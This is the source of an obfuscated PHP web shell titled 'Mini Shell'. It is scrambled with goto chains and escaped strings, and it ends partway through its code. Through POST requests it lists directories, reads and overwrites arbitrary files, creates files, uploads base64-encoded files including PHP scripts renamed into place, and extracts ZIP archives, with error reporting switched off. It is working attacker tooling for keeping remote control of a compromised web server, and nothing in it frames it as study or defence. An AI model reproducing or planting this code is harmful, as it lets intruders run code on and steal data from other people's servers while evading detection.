Mini Shell
<?php
goto lTlM_; JkoOc: error_reporting(0); goto VR3Wa; W3B1n: goto D5531; goto xJS_Q; iFkVP: Q6n1Z: goto lT7bp; fNMEs: Rg4_D: goto JkoOc; HD0bn: echo json_encode($YQ0h3); goto Ni_Gf; pKQIV: DSBCn: goto FjCWH; xJS_Q: oFG4U: goto vYkzj; RRZEi: try { goto HPC39; hJLWK: G44Dd: goto MyZ94; OC5D6: YgYjY: goto BV2tH; nneZU: oXCA2: goto waTRI; z27nu: lyy4h: goto gJbpx; cvE1v: switch ($uTRc2) { case "\154\151\x73\x74": goto cYnRn; bpVvr: lZwva: goto SqG9Z; TaJqW: tfHYz: goto RWTS_; Y9cfK: spF75: goto jAavt; ryZB1: goto sNZQ9; goto EleRq; heHlk: foreach (scandir($ps0gq) as $WjQOM) { goto ThzDu; Au2qc: hFksu: goto qHpNe; oCEky: qRvok: goto wL7t9; B8jpG: a3GBZ: goto IijSF; IijSF: cXhh6: goto kZCIb; kZCIb: goto d4hwK; goto zljTm; aTaVQ: goto cvK6q; goto Au2qc; mF4cy: wSrRp: goto Ap1e2; H46PB: S0oVY: goto Cq0MD; dVVrY: cvK6q: goto LsCaM; n4kee: goto AEZRy; goto H46PB; qHpNe: $xgPYy[] = ["\156\141\155\x65" => $WjQOM, "\151\163\137\x64\151\162" => is_dir($rYUFk), "\163\151\172\145" => is_dir($rYUFk) ? 0 : filesize($rYUFk), "\155\157\x64\x69\146\151\x65\x64" => filemtime($rYUFk)]; goto kv4Tc; wL7t9: if ($WjQOM === "\x2e" || $WjQOM === "\x2e\56") { goto S0oVY; } goto n4kee; CLfdO: goto YY2M_; goto dVVrY; zljTm: YY2M_: goto s7KDv; GORo4: d4hwK: goto vc008; LsCaM: $rYUFk = $ps0gq . "\x2f" . $WjQOM; goto uHFug; ThzDu: goto qRvok; goto oCEky; kv4Tc: goto a3GBZ; goto GORo4; Cq0MD: goto wSrRp; goto mF4cy; uHFug: goto hFksu; goto B8jpG; s7KDv: AEZRy: goto aTaVQ; vc008: jg31q: goto nWUxg; Ap1e2: goto cXhh6; goto CLfdO; nWUxg: } goto iJClt; IbPwX: H2CrU: goto WxPq1; Eh9KS: goto ga0FO; goto QN840; wA1Ic: goto YgYjY; goto XrfYy; ksrQq: sNZQ9: goto wA1Ic; H6ZUw: n_8B5: goto ByxLU; NHNQK: $ps0gq = SLjgC(realpath($cHCRi)); goto zUTfS; QN840: Zs8R0: goto wfZqd; SqG9Z: if (!uBPOw($cHCRi)) { goto n_8B5; } goto y8nJS; RfpDQ: goto qRSSy; goto Y9cfK; XTZEz: U_mdI: goto NHNQK; Oheul: goto lZwva; goto bpVvr; F412J: goto jQzNC; goto IbPwX; iJClt: vQTT7: goto xa9SY; RWTS_: $xgPYy = []; goto zYv9c; WvnSv: throw new Exception("\111\x6e\166\141\x6c\151\144\x20\x6f\x72\x20\151\x6e\141\143\143\145\163\163\x69\x62\154\x65\x20\160\x61\x74\150\56"); goto zSkuP; aa3lC: goto spF75; goto Ag_Ag; jTWWS: uh7mW: goto RfpDQ; Ag_Ag: F0jDp: goto vYIUr; c0W16: xz528: goto aa3lC; ocuRR: qRSSy: goto rAZ2F; vYIUr: $cHCRi = isset($_POST["\160\x61\164\150"]) ? jgqOw($_POST["\x70\x61\164\x68"]) : __DIR__; goto Oheul; XrfYy: goto Dyks9; goto XTZEz; jdXJ2: VWKhu: goto WvnSv; cYnRn: goto F0jDp; goto nI0GK; zUTfS: goto tfHYz; goto HonXh; HonXh: jQzNC: goto heHlk; rAZ2F: $YQ0h3 = ["\x73\x75\143\143\x65\x73\163" => true, "\146\151\154\145\163" => $xgPYy, "\x70\141\164\150" => $ps0gq]; goto ryZB1; xa9SY: goto z7abB; goto ocuRR; dmoDO: ga0FO: goto CHHJF; zSkuP: goto Zs8R0; goto ksrQq; wfZqd: argsB: goto cNXGQ; ByxLU: goto VWKhu; goto jdXJ2; cNXGQ: goto U_mdI; goto TaJqW; zYv9c: goto H2CrU; goto dmoDO; jAavt: throw new Exception("\x43\x61\x6e\x6e\157\164\x20\141\x63\x63\145\x73\x73\40\x70\141\x74\x68\x2e\x20\111\164\40\x6d\x69\x67\x68\164\x20\x62\x65\x20\x72\x65\163\164\162\x69\x63\x74\145\144\x20\x62\171\x20\x73\x65\162\x76\145\x72\x20\x63\157\156\146\x69\x67\x75\x72\x61\x74\151\157\156\40\x28\x6f\x70\145\156\137\x62\141\163\145\144\x69\162\x29\x2e"); goto Eh9KS; EleRq: Dyks9: goto GmedA; nI0GK: z7abB: goto jTWWS; y8nJS: goto argsB; goto H6ZUw; WxPq1: if (!@scandir($ps0gq)) { goto xz528; } goto XcT30; XcT30: goto mh_Gy; goto c0W16; CHHJF: mh_Gy: goto F412J; GmedA: case "\147\x65\x74\x5f\143\157\156\164\x65\156\164": goto VtYj_; M6_ED: $VQtKz = isset($_POST["\x70\141\164\x68"]) ? jgqoW($_POST["\x70\141\164\x68"]) : ''; goto KWzIX; GODCy: goto gwAp5; goto f_Zp5; ffFtO: Vp4m_: goto RQAOe; pYDEI: ZG3pr: goto gFcWx; ApNnf: goto MlLtO; goto pYDEI; F_r2D: gwAp5: goto QWzUS; QWzUS: goto mBxi3; goto TTbJD; tITvw: goto ZG3pr; goto KHaO2; KHaO2: mBxi3: goto g_qQf; ToIfq: throw new Exception("\111\x6e\166\141\x6c\x69\144\x20\x66\x69\x6c\x65\x20\146\x6f\162\x20\x65\x64\151\x74\151\x6e\147\x2e"); goto ApNnf; UA4gw: fIRvz: goto MGGas; RQAOe: if (!realpath($VQtKz) || is_dir(realpath($VQtKz))) { goto at_pF; } goto GODCy; OLev0: goto uSMpJ; goto gaLCx; gaLCx: uSMpJ: goto ToIfq; YUMR0: goto fIRvz; goto ffFtO; MGGas: goto YgYjY; goto tITvw; TTbJD: eDksK: goto M6_ED; f_Zp5: at_pF: goto OLev0; g_qQf: $YQ0h3 = ["\163\x75\x63\143\x65\163\163" => true, "\143\x6f\x6e\164\x65\156\164" => base64_encode(base64_encode(file_get_contents($VQtKz)))]; goto YUMR0; VtYj_: goto eDksK; goto R7ZFR; R7ZFR: MlLtO: goto F_r2D; KWzIX: goto Vp4m_; goto UA4gw; gFcWx: case "\x67\145\164\137\143\157\x6e\x74\x65\x6e\164\x5f\142\x36\64": goto a81C_; kqmF7: goto WkI4F; goto a2Vb6; IRasG: throw new Exception("\x49\156\x76\x61\x6c\151\x64\x20\146\x69\154\145\40\146\x6f\x72\x20\x65\144\151\x74\x69\x6e\x67\56"); goto YxHj9; rH0iZ: vXKWL: goto xbtvc; ZbNLf: WkI4F: goto IRasG; a81C_: goto HEFQl; goto XOrds; a2Vb6: MZiN3: goto ODI43; SXWdc: if (!realpath($VQtKz) || is_dir(realpath($VQtKz))) { goto R32tO; } goto feKX0; ODI43: $YQ0h3 = ["\x73\x75\143\x63\x65\x73\x73" => true, "\x63\157\156\x74\145\156\164" => base64_encode(base64_encode(file_get_contents($VQtKz)))]; goto HBUOi; YxHj9: goto IuVtW; goto spLXA; VMyXz: goto Xbopj; goto ktVD5; BJ5KL: R32tO: goto kqmF7; spLXA: Xbopj: goto SXWdc; pgbkS: goto vXKWL; goto hDNxl; XOrds: brPcC: goto QCuWr; Nfsj1: J9Kp4: goto u0Byq; QCuWr: $VQtKz = base64_decode($wTt7Z); goto VMyXz; feKX0: goto J9Kp4; goto BJ5KL; hDNxl: IuVtW: goto Nfsj1; ktVD5: HEFQl: goto FMFTL; FMFTL: $wTt7Z = isset($_POST["\x70\x61\164\x68\137\142\x36\64"]) ? JGQow($_POST["\160\x61\x74\x68\x5f\142\x36\64"]) : ''; goto rUJpN; cs_33: Ap1lJ: goto bjCBs; bjCBs: goto YgYjY; goto pgbkS; rUJpN: goto brPcC; goto cs_33; HBUOi: goto Ap1lJ; goto rH0iZ; u0Byq: goto MZiN3; goto ZbNLf; xbtvc: case "\x73\x61\x76\x65\137\143\x6f\x6e\x74\145\x6e\x74": goto oir5X; l7ypp: goto pyFD9; goto d5m7B; ljUur: LPsHA: goto giIU_; YxAT1: GZBzJ: goto W3Nho; ZNHEq: if (!ubpOw($VQtKz) || file_exists($VQtKz) && is_dir($VQtKz)) { goto PvjW7; } goto V0fhf; IyIU5: goto nLj2Q; goto uvJ1E; V0fhf: goto HU8xU; goto rw8PC; d9VDn: nLj2Q: goto JKAVK; BcNn_: vB3Gg: goto taD1I; TQslB: goto xA2il; goto AetPe; W3Nho: if (empty($tsa6R)) { goto isnbC; } goto ucBfg; z2Tbe: ya8k_: goto TQslB; Ywy5o: goto mhAlw; goto sGbYG; JKAVK: if (!(file_put_contents($VQtKz, $H4CKO) !== false)) { goto ya8k_; } goto Rfu5w; Rfu5w: goto WvldW; goto z2Tbe; ED0gi: goto jRNuL; goto d9VDn; GZuRs: goto haKaI; goto pePj6; L457w: $tsa6R = isset($_POST["\x63\157\x6e\164\145\x6e\164\137\143\150\165\x6e\153\163"]) && is_array($_POST["\x63\x6f\x6e\x74\x65\156\x74\x5f\143\x68\x75\x6e\153\163"]) ? $_POST["\143\157\156\x74\x65\x6e\164\137\143\x68\x75\156\153\163"] : []; goto gwNzz; rw8PC: PvjW7: goto RDI69; oir5X: goto ix51y; goto hGGRw; vtrbF: goto N1RZ6; goto l7ypp; AvpoY: $yPYVt = implode('', $tsa6R); goto Ywy5o; jFnQ4: xA2il: goto CJXdx; iBB0J: F7qTz: goto ljUur; r481V: goto F7qTz; goto BJCwG; XAsad: goto luNLL; goto YxAT1; hV8sl: goto eJ3f9; goto fx4jJ; bNUhJ: luNLL: goto jeD9U; diuSJ: isnbC: goto hV8sl; sGbYG: eJ3f9: goto P8eQD; NudNz: ouVpH: goto ZNHEq; bZd2b: $H4CKO = base64_decode(base64_decode($yPYVt)); goto iVSqf; xM5HE: WvldW: goto XAsad; YZwFq: ESRVo: goto vtrbF; taD1I: throw new Exception("\x49\156\x76\141\154\x69\x64\40\x66\151\x6c\145\40\x66\x6f\x72\40\x73\141\x76\x69\156\147\x2e"); goto vhMqX; vhMqX: goto rLSGR; goto bNUhJ; d5m7B: rLSGR: goto GNcuW; Jy8Es: goto YgYjY; goto ED0gi; fx4jJ: IkSsM: goto L457w; uvJ1E: KZbNO: goto AvpoY; XbapH: $VQtKz = isset($_POST["\160\141\x74\150"]) ? Jgqow($_POST["\x70\141\164\150"]) : ''; goto FIroV; IDKaW: haKaI: goto CnYDv; P8eQD: throw new Exception("\x43\157\156\164\x65\156\x74\x20\x69\163\x20\x65\x6d\160\164\171\56"); goto r481V; iVSqf: goto ouVpH; goto TAy5V; gwNzz: goto GZBzJ; goto NudNz; KFqC0: goto ESRVo; goto iBB0J; hGGRw: Qat3Z: goto Jy8Es; k1eyu: goto Qat3Z; goto YZwFq; CnYDv: N1RZ6: goto k1eyu; FIroV: goto IkSsM; goto jFnQ4; AetPe: ix51y: goto XbapH; BJCwG: pyFD9: goto xM5HE; TAy5V: jRNuL: goto w06zo; RDI69: goto vB3Gg; goto BcNn_; giIU_: goto KZbNO; goto IDKaW; pePj6: mhAlw: goto bZd2b; GNcuW: HU8xU: goto IyIU5; CJXdx: throw new Exception("\103\157\x75\154\x64\x20\x6e\x6f\x74\40\163\x61\166\145\x20\x66\151\154\145\56\40\103\150\145\x63\x6b\x20\x70\145\162\x6d\151\x73\163\151\x6f\x6e\x73\x2e"); goto KFqC0; jeD9U: $YQ0h3 = ["\x73\x75\143\x63\145\x73\x73" => true, "\155\145\163\163\x61\x67\145" => "\x46\151\x6c\x65\40\163\141\x76\145\x64\x20\163\x75\x63\143\x65\x73\163\146\x75\154\154\x79\56"]; goto GZuRs; ucBfg: goto LPsHA; goto diuSJ; w06zo: case "\163\141\166\x65\137\x63\157\156\x74\145\x6e\164\137\142\66\x34": goto mxzWF; SaaJO: throw new Exception("\111\x6e\166\x61\154\x69\x64\x20\146\151\154\145\x20\x66\157\162\40\x73\141\x76\151\156\x67\x2e"); goto BYpSv; ehvlp: if (!(file_put_contents($VQtKz, $H4CKO) !== false)) { goto unOu7; } goto iyE7k; V52RU: wTQHB: goto ehvlp; DGbaH: lE_Hn: goto QKft7; mxzWF: goto xcPki; goto CMrqG; iNcxi: c8QQA: goto PxoCT; FztXT: $wTt7Z = isset($_POST["\x70\141\x74\x68\137\142\x36\x34"]) ? jgqOW($_POST["\160\x61\164\150\x5f\142\x36\x34"]) : ''; goto g6NjS; XmKlX: Ylnuj: goto SaaJO; HgCYI: goto a0fXg; goto AZ_ay; vw7FD: goto tVvPI; goto KwCFc; GSVNF: H7Q52: goto OXHGD; fi2or: CyGii: goto idNXn; h2lKW: $tsa6R = isset($_POST["\x63\157\156\x74\145\156\x74\x5f\143\x68\165\x6e\x6b\x73"]) && is_array($_POST["\143\x6f\x6e\x74\x65\x6e\164\137\x63\150\165\x6e\153\x73"]) ? $_POST["\143\x6f\156\164\145\x6e\x74\137\x63\150\165\156\153\163"] : []; goto clmWd; BYpSv: goto SaB4X; goto KlN9E; iRHXh: SaB4X: goto eVJLb; KwCFc: JsXMn: goto h2lKW; Pn0GZ: $YQ0h3 = ["\x73\x75\143\143\x65\163\x73" => true, "\x6d\145\163\163\141\x67\145" => "\106\x69\154\145\x20\x73\x61\x76\145\144\x20\163\165\x63\143\145\163\x73\x66\165\154\x6c\171\x20\x28\x64\151\x72\x65\x63\x74\40\155\145\x74\150\x6f\144\x29\56"]; goto M79Nv; GwF2M: goto s2f7P; goto RIhx6; M79Nv: goto nAe_t; goto jwJSB; RD28N: o7Qht: goto DV3Bl; Rn4hI: PIvk2: goto V2axn; eVJLb: s2f7P: goto rz2vG; MdsWr: goto o7Qht; goto Dl_Kh; QKft7: $yPYVt = implode('', $tsa6R); goto AJwL2; jwJSB: Yr2sO: goto VlfAp; VlfAp: $H4CKO = base64_decode(base64_decode($yPYVt)); goto w8Hxq; rKe08: kvPsr: goto bzECN; u9_fs: unOu7: goto HgCYI; ootYC: $VQtKz = base64_decode($wTt7Z); goto FbMCb; CMrqG: D66Uh: goto fyfFe; AZ_ay: Dn0Mp: goto ootYC; qFqp8: throw new Exception("\103\157\156\x74\x65\156\x74\40\151\x73\x20\x65\x6d\160\x74\171\56"); goto v4gPt; VQfmM: a0fXg: goto skxSo; u1Fkx: XQFEN: goto GSVNF; PxoCT: goto jCV4y; goto TfuD1; sg8Hn: goto Ylnuj; goto RD28N; E9Ad3: goto CyGii; goto DGbaH; v4gPt: goto XQFEN; goto hL9fV; hL9fV: xcPki: goto FztXT; fyfFe: goto YgYjY; goto E9Ad3; II_M2: goto lbFAG; goto jxET1; DV3Bl: goto kvPsr; goto vw7FD; FbMCb: goto JsXMn; goto u1Fkx; g6NjS: goto Dn0Mp; goto VQfmM; jxET1: nAe_t: goto rKe08; iyE7k: goto ADduN; goto u9_fs; skxSo: throw new Exception("\104\x69\x72\x65\143\x74\40\163\141\x76\145\x20\146\x61\151\154\x65\x64\x2e\40\x43\x68\x65\143\153\40\x70\x65\x72\x6d\151\163\163\151\157\x6e\163\56"); goto MdsWr; bzECN: goto D66Uh; goto fsYtw; KlN9E: jCV4y: goto qFqp8; RIhx6: wdMfY: goto sg8Hn; V2axn: if (!ubPOw($VQtKz) || file_exists($VQtKz) && is_dir($VQtKz)) { goto wdMfY; } goto GwF2M; vWoCh: goto H7Q52; goto iNcxi; rz2vG: goto wTQHB; goto V52RU; PnjpM: if (empty($tsa6R)) { goto c8QQA; } goto vWoCh; Dl_Kh: i9zkI: goto PnjpM; TfuD1: tVvPI: goto u7yGi; w8Hxq: goto PIvk2; goto fi2or; OXHGD: goto lE_Hn; goto Rn4hI; u7yGi: ADduN: goto II_M2; AJwL2: goto Yr2sO; goto iRHXh; clmWd: goto i9zkI; goto XmKlX; fsYtw: lbFAG: goto Pn0GZ; idNXn: case "\x63\162\x65\x61\164\x65\x5f\x66\x69\154\x65": goto ICk5r; f1LkO: Hj1k4: goto bZ8NK; bZ8NK: if (!touch(rtrim($cHCRi, "\x2f") . "\x2f" . $x1aV8)) { goto VRvV5; } goto cQuWW; cPCpM: goto NcpNj; goto kqVcG; afUrc: goto gAK6Q; goto pZjZ1; GfKWq: Fr1xj: goto YM9Pk; oUPEs: goto EVx2e; goto MljdI; dB7zF: goto YgYjY; goto r5XPw; iXl4B: goto qi4eb; goto f1LkO; PBvVl: throw new Exception("\x49\x6e\166\x61\x6c\151\x64\x20\x70\x61\x74\x68\40\157\162\40\x66\x69\x6c\x65\40\x6e\141\x6d\145\x2e"); goto BqrQU; ICk5r: goto vnuCe; goto YPS9T; j8wAr: X3IJl: goto PCy7W; knCq9: goto X3IJl; goto fmPGv; pZjZ1: goto jhfgV; goto j8wAr; zbP2n: goto J3D2c; goto Ouk2W; t5hmz: T1TA4: goto kZWTG; deHct: goto T1TA4; goto ZiCca; ZiCca: lNh3z: goto gILrk; YM9Pk: goto Hj1k4; goto YAASq; cQuWW: goto y6Vhp; goto xPllB; kqVcG: jhfgV: goto TjDf3; SKChL: xCczH: goto DFHxx; JwJVD: $YQ0h3 = ["\x73\165\x63\x63\145\163\x73" => true, "\155\x65\x73\x73\141\x67\x65" => "\x46\x69\154\145\x20\x63\162\x65\x61\x74\145\144\x2e"]; goto deHct; MljdI: dmVg4: goto GfKWq; fmPGv: kW1tk: goto PBvVl; r5XPw: goto xCczH; goto L4T0G; YAASq: EVx2e: goto JwJVD; tgrcR: goto Fr1xj; goto JJf0C; PCy7W: if (!UBPOW($cHCRi) || empty($x1aV8)) { goto jW1CP; } goto tgrcR; Ouk2W: vnuCe: goto TomWy; H1_6g: goto kW1tk; goto t5hmz; L4T0G: NcpNj: goto F44ZG; xPllB: VRvV5: goto cPCpM; TjDf3: y6Vhp: goto oUPEs; gILrk: $x1aV8 = isset($_POST["\156\x61\x6d\145"]) ? hZxku($_POST["\x6e\141\x6d\x65"]) : ''; goto knCq9; kZWTG: gAK6Q: goto zbP2n; JJf0C: jW1CP: goto H1_6g; F44ZG: throw new Exception("\103\157\165\x6c\144\40\156\157\164\x20\x63\x72\x65\141\164\145\x20\x66\x69\154\x65\56"); goto iXl4B; elTSc: qi4eb: goto afUrc; TomWy: $cHCRi = isset($_POST["\160\x61\x74\x68"]) ? JGqoW($_POST["\160\x61\x74\150"]) : ''; goto uzaYF; BqrQU: goto dmVg4; goto elTSc; uzaYF: goto lNh3z; goto SKChL; YPS9T: J3D2c: goto dB7zF; DFHxx: case "\165\x70\154\157\141\144": goto ibvp8; Tl7Pj: if (strpos($LZDtD, "\x2c") !== false) { goto VFz_1; } goto lrDIm; JpnLG: $cocm7 = rtrim($cHCRi, "\57") . "\x2f" . $Ee14P; goto nMWp6; P1mCA: goto uoshw; goto BYEBC; yaDPI: $LZDtD = isset($_POST["\143\x6f\156\164\145\x6e\x74\137\x62\x61\x73\145\x36\x34"]) ? $_POST["\x63\157\156\164\x65\x6e\164\137\142\141\163\x65\x36\64"] : ''; goto U5G4M; vps3D: $cHCRi = isset($_POST["\160\141\164\150"]) ? jgQOW($_POST["\160\x61\164\150"]) : __DIR__; goto HJk3z; Zx1pS: vJ0_p: goto Tl7Pj; nMWp6: goto QypU4; goto BJxis; mBhNy: gaKxE: goto rsXyQ; mlsHX: goto TXzAi; goto xizQM; uhCX1: FPmRS: goto Q7EQ9; LUwXl: QypU4: goto wlnuB; MXJVv: goto SIv3W; goto tXKUc; mhSDi: goto JFn2o; goto jZXxs; r10uE: VFz_1: goto mlsHX; NOJGh: list(, $LZDtD) = explode("\x2c", $LZDtD); goto gqFV3; Wru1M: x2OTW: goto vps3D; DXgEz: d9Smm: goto lgU5l; cMzgc: goto S6Rw0; goto cUBZn; R7pmP: goto r_I4s; goto N4E_a; HBni4: AYYj9: goto Sb4jY; pM5aW: h1R1J: goto krS4l; noMwL: goto OU7nC; goto Zx1pS; pq1D3: goto gaKxE; goto OjWUL; cUBZn: nb1NU: goto jWnDp; U5G4M: goto dXL7m; goto Wru1M; ibvp8: goto x2OTW; goto K4NZq; lgU5l: goto h1R1J; goto j61Hu; xAqtJ: goto qFMeQ; goto cDoJB; xoPFB: vp915: goto RXunL; j61Hu: TXzAi: goto NOJGh; lrDIm: goto qbAsG; goto r10uE; ruD3p: $Ee14P = HZXKU(base64_decode($uYUKv)); goto I_Lk7; cDoJB: BMRzS: goto HBni4; jZXxs: OU7nC: goto ruD3p; rsXyQ: $Qpx5R = base64_decode($LZDtD); goto mhSDi; qmsks: goto DmxA0; goto DXgEz; um2mF: goto AYYj9; goto cMzgc; tXKUc: r_I4s: goto um2mF; BYEBC: Amtcv: goto oWTMu; Clriw: $YQ0h3 = ["\163\x75\143\143\x65\163\x73" => true, "\x6d\x65\x73\163\141\x67\145" => "\106\151\154\145\40\x75\x70\x6c\x6f\x61\144\x65\x64\x20\x73\x75\143\143\145\x73\163\x66\165\154\154\171\x2e"]; goto JJp0Q; J7HUk: throw new Exception("\103\x6f\x75\x6c\144\40\156\157\x74\x20\x73\x61\x76\145\40\x75\160\154\x6f\141\144\x65\144\40\146\x69\x6c\145\56\40\x43\150\145\143\x6b\40\160\145\x72\x6d\151\x73\163\151\157\x6e\x73\56"); goto R7pmP; IHRzX: msRAX: goto BPzzt; wlnuB: if (!(file_put_contents($cocm7, $Qpx5R) !== false)) { goto Amtcv; } goto P1mCA; K4NZq: dBdXK: goto Clriw; N4E_a: JFn2o: goto JpnLG; gqFV3: goto nb1NU; goto pM5aW; Sb4jY: goto msRAX; goto IHRzX; OjWUL: qFMeQ: goto yaDPI; U4X4i: uoshw: goto rypmN; krS4l: throw new Exception("\x49\x6e\166\141\154\151\144\40\144\x61\164\141\x20\146\x6f\x72\x20\165\x70\154\x6f\x61\144\56"); goto gj6Gc; Q7EQ9: $uYUKv = isset($_POST["\146\151\154\145\x6e\x61\x6d\145\137\x62\141\x73\x65\66\x34"]) ? $_POST["\146\x69\154\x65\156\x61\155\x65\137\x62\141\163\145\66\x34"] : ''; goto xAqtJ; gj6Gc: goto vp915; goto LUwXl; BJxis: dXL7m: goto bmw0p; oWTMu: goto P21eP; goto uhCX1; C9zE0: P21eP: goto J7HUk; JJp0Q: goto BMRzS; goto ScYUD; HJk3z: goto FPmRS; goto xoPFB; I_Lk7: goto vJ0_p; goto C9zE0; rypmN: goto dBdXK; goto mBhNy; BPzzt: goto YgYjY; goto MXJVv; xizQM: SIv3W: goto f9WA9; jWnDp: qbAsG: goto pq1D3; ScYUD: S6Rw0: goto U4X4i; bmw0p: if (!ubPoW($cHCRi) || empty($uYUKv) || empty($LZDtD)) { goto d9Smm; } goto qmsks; RXunL: DmxA0: goto noMwL; f9WA9: case "\x75\x70\154\x6f\x61\144\137\160\x68\160": goto xFJQN; svfwj: tK3qd: goto Ng3Jb; TrVB1: goto o83s5; goto wPiic; Qr0vq: $Qpx5R = base64_decode($LZDtD); goto iCaSd; rBMIF: goto aVtdA; goto q1bz4; bs1iw: $YQ0h3 = ["\163\x75\143\143\145\x73\x73" => true, "\155\x65\x73\x73\141\147\x65" => "\120\110\120\40\x66\151\x6c\145\40\165\x70\154\157\x61\144\x65\144\40\163\165\143\x63\145\163\x73\146\165\x6c\x6c\171\56"]; goto qskHe; qskHe: goto EJ1tG; goto CF0QW; YLaIw: l0vbi: goto fxrea; spn4v: goto X8MeE; goto OXyiV; TCPwK: goto uCYwS; goto V1Te0; biURj: ZOJtB: goto TC5ix; boJBF: eSdgd: goto P5zSc; OXyiV: pXz2L: goto JFATv; VBBr1: $LSxAg = $y6_EM . "\56\x74\170\x74"; goto Tp0PQ; mLh5O: throw new Exception("\x43\x6f\x75\154\144\x20\156\x6f\x74\x20\162\x65\x6e\x61\155\145\x20\x74\x65\155\x70\x6f\x72\x61\x72\171\40\146\151\154\x65\56"); goto PhVhD; P3a5m: EJ1tG: goto Fg0Nv; Q1ek_: goto pXz2L; goto boJBF; bntKR: goto JJFRz; goto dItvS; JXTr6: goto tK3qd; goto biURj; LPxeK: goto ccXn7; goto z30lB; ZF8Q1: goto drboj; goto qFAr9; iE2pw: goto ZOJtB; goto Ujm6p; w4nGx: goto tJ1ns; goto LHUv4; sGe6u: uCYwS: goto Qr0vq; THcLz: bl8xA: goto Ytk4j; xFJQN: goto AK6Ts; goto du9L8; tz8Hg: $cBxm0 = rtrim($cHCRi, "\x2f") . "\x2f" . $LSxAg; goto spn4v; d3MJB: if (strpos($LZDtD, "\54") !== false) { goto rmuW5; } goto ZPILv; iTeyN: goto bl8xA; goto sGe6u; HAvEj: $uYUKv = isset($_POST["\x66\x69\x6c\145\x6e\141\155\x65\137\142\141\163\145\x36\64"]) ? $_POST["\x66\x69\154\145\156\x61\155\x65\x5f\142\141\163\145\66\64"] : ''; goto d55Hq; ERmXM: if (!rename($cBxm0, $EH75n)) { goto wq6UB; } goto ID4ye; cwWGY: goto YcQYU; goto FsgBx; FITwd: if (file_put_contents($cBxm0, $Qpx5R) === false) { goto quhUE; } goto bntKR; L4R_2: YcQYU: goto FITwd; BIIeN: $cHCRi = isset($_POST["\160\x61\x74\150"]) ? JgQoW($_POST["\160\141\164\150"]) : __DIR__; goto ZF8Q1; rZkRf: tJ1ns: goto VBBr1; FsgBx: RuxiM: goto jUOMy; UjcDK: throw new Exception("\x43\157\x75\154\x64\x20\x6e\x6f\x74\x20\163\141\x76\x65\x20\x74\145\155\x70\x6f\162\141\162\171\x20\146\x69\x6c\x65\56\x20\x43\x68\x65\x63\153\40\x70\x65\162\155\x69\x73\x73\x69\157\156\163\56"); goto iTeyN; P5zSc: $y6_EM = hzXKU(base64_decode($uYUKv)); goto w4nGx; MkqeO: XVaB0: goto f3znZ; FgQwo: crk1G: goto jwOuz; Ng3Jb: goto YgYjY; goto QL8Fl; qFAr9: X8MeE: goto vNkhg; KaE0i: if (!uBPOw($cHCRi) || empty($uYUKv) || empty($LZDtD)) { goto AkSpc; } goto eIGbQ; bW9yG: list(, $LZDtD) = explode("\x2c", $LZDtD); goto TrVB1; zKu_N: goto mMA0m; goto svfwj; lrq3n: goto XVaB0; goto rZkRf; iCaSd: goto VmS2_; goto THcLz; IgP9U: goto mGm3o; goto euE0k; PhVhD: goto l0vbi; goto tSqwl; f7MJ6: aVtdA: goto KaE0i; wPiic: VmS2_: goto tz8Hg; ju9z2: ykFfV: goto TCPwK; JFATv: unlink($cBxm0); goto IgP9U; ZPILv: goto ykFfV; goto eHcC0; ID4ye: goto k__6S; goto EwGp2; ZIRT1: goto RuxiM; goto L4R_2; euE0k: f_51r: goto ERmXM; d55Hq: goto crk1G; goto P3a5m; tSqwl: o83s5: goto ju9z2; ZB79r: goto eSdgd; goto FgQwo; Ytk4j: JJFRz: goto UerJr; CF0QW: AK6Ts: goto BIIeN; dItvS: quhUE: goto zKu_N; QL8Fl: goto DX5GK; goto PiYQm; QE5J8: AkSpc: goto iE2pw; du9L8: Hmlg0: goto bW9yG; f3znZ: dnMJ7: goto ZB79r; Tp0PQ: goto Mc7EQ; goto MkqeO; PiYQm: DX5GK: goto fzIMM; fxrea: goto cm_rW; goto ZIRT1; Ujm6p: drboj: goto HAvEj; jwOuz: $LZDtD = isset($_POST["\x63\x6f\x6e\x74\x65\x6e\x74\x5f\x62\x61\163\145\66\64"]) ? $_POST["\x63\157\x6e\x74\x65\156\x74\137\x62\x61\x73\x65\x36\x34"] : ''; goto rBMIF; TC5ix: throw new Exception("\111\156\x76\x61\x6c\x69\144\40\x64\141\164\x61\x20\146\157\x72\x20\120\110\120\x20\x75\x70\x6c\157\141\144\x2e"); goto lrq3n; jUOMy: k__6S: goto LPxeK; zBk7v: goto Hmlg0; goto YLaIw; UerJr: goto f_51r; goto f7MJ6; Fg0Nv: cm_rW: goto JXTr6; EwGp2: wq6UB: goto Q1ek_; eIGbQ: goto dnMJ7; goto QE5J8; z30lB: mGm3o: goto mLh5O; q1bz4: Mc7EQ: goto d3MJB; vNkhg: $EH75n = rtrim($cHCRi, "\57") . "\57" . $y6_EM; goto cwWGY; eHcC0: rmuW5: goto zBk7v; LHUv4: ccXn7: goto bs1iw; V1Te0: mMA0m: goto UjcDK; fzIMM: case "\x75\156\x7a\151\x70": goto olTmz; vagZa: throw new Exception("\x49\156\166\141\154\151\x64\x20\x5a\111\120\x20\146\151\x6c\x65\40\160\141\164\150\x2e"); goto iUXsb; UgEbQ: RSxJx: goto r0ULr; g2k6v: throw new Exception("\106\141\x69\x6c\145\x64\x20\164\157\x20\x6f\x70\145\156\40\141\162\x63\150\x69\x76\x65\x2e"); goto E5tTv; BVyz6: goto EbFg5; goto Mu5_p; Yj8co: T249M: goto KsMMl; hVE7P: goto AKFIU; goto nXbZS; iUXsb: goto CIoST; goto Wuzma; wL8ZQ: rkn1W: goto YS3YG; SRWvi: agsio: goto Nsank; ne353: $XaBbH = new ZipArchive(); goto rHuDy; j1vlX: CIoST: goto Qmivo; Mu5_p: Cn5Kj: goto vagZa; xbX41: hTHSg: goto vDjJG; Gz8b7: ZL3PT: goto ne353; Fa6oK: $YQ0h3 = ["\163\165\143\143\x65\x73\163" => true, "\155\145\x73\x73\x61\147\x65" => "\x41\x72\143\150\151\166\x65\x20\145\x78\x74\162\x61\143\164\x65\144\56"]; goto pV6KY; r0ULr: goto iErPw; goto UFoob; aFtgI: goto EPQBu; goto Gz8b7; M8DtJ: iErPw: goto Qlztd; Nsank: goto YgYjY; goto BVyz6; wvGFH: b3BQ7: goto hVE7P; fkMMR: throw new Exception("\120\x48\x50\x20\132\111\120\x20\x65\170\164\145\x6e\163\x69\157\156\40\156\157\x74\x20\151\x6e\x73\x74\x61\x6c\154\x65\144\x2e"); goto b5t6r; pV6KY: goto xZUdA; goto SJw20; E5tTv: goto rkn1W; goto yxNTM; DUveX: if (!($XaBbH->open($iwvTq) === TRUE)) { goto yBNJ9; } goto nlGFL; 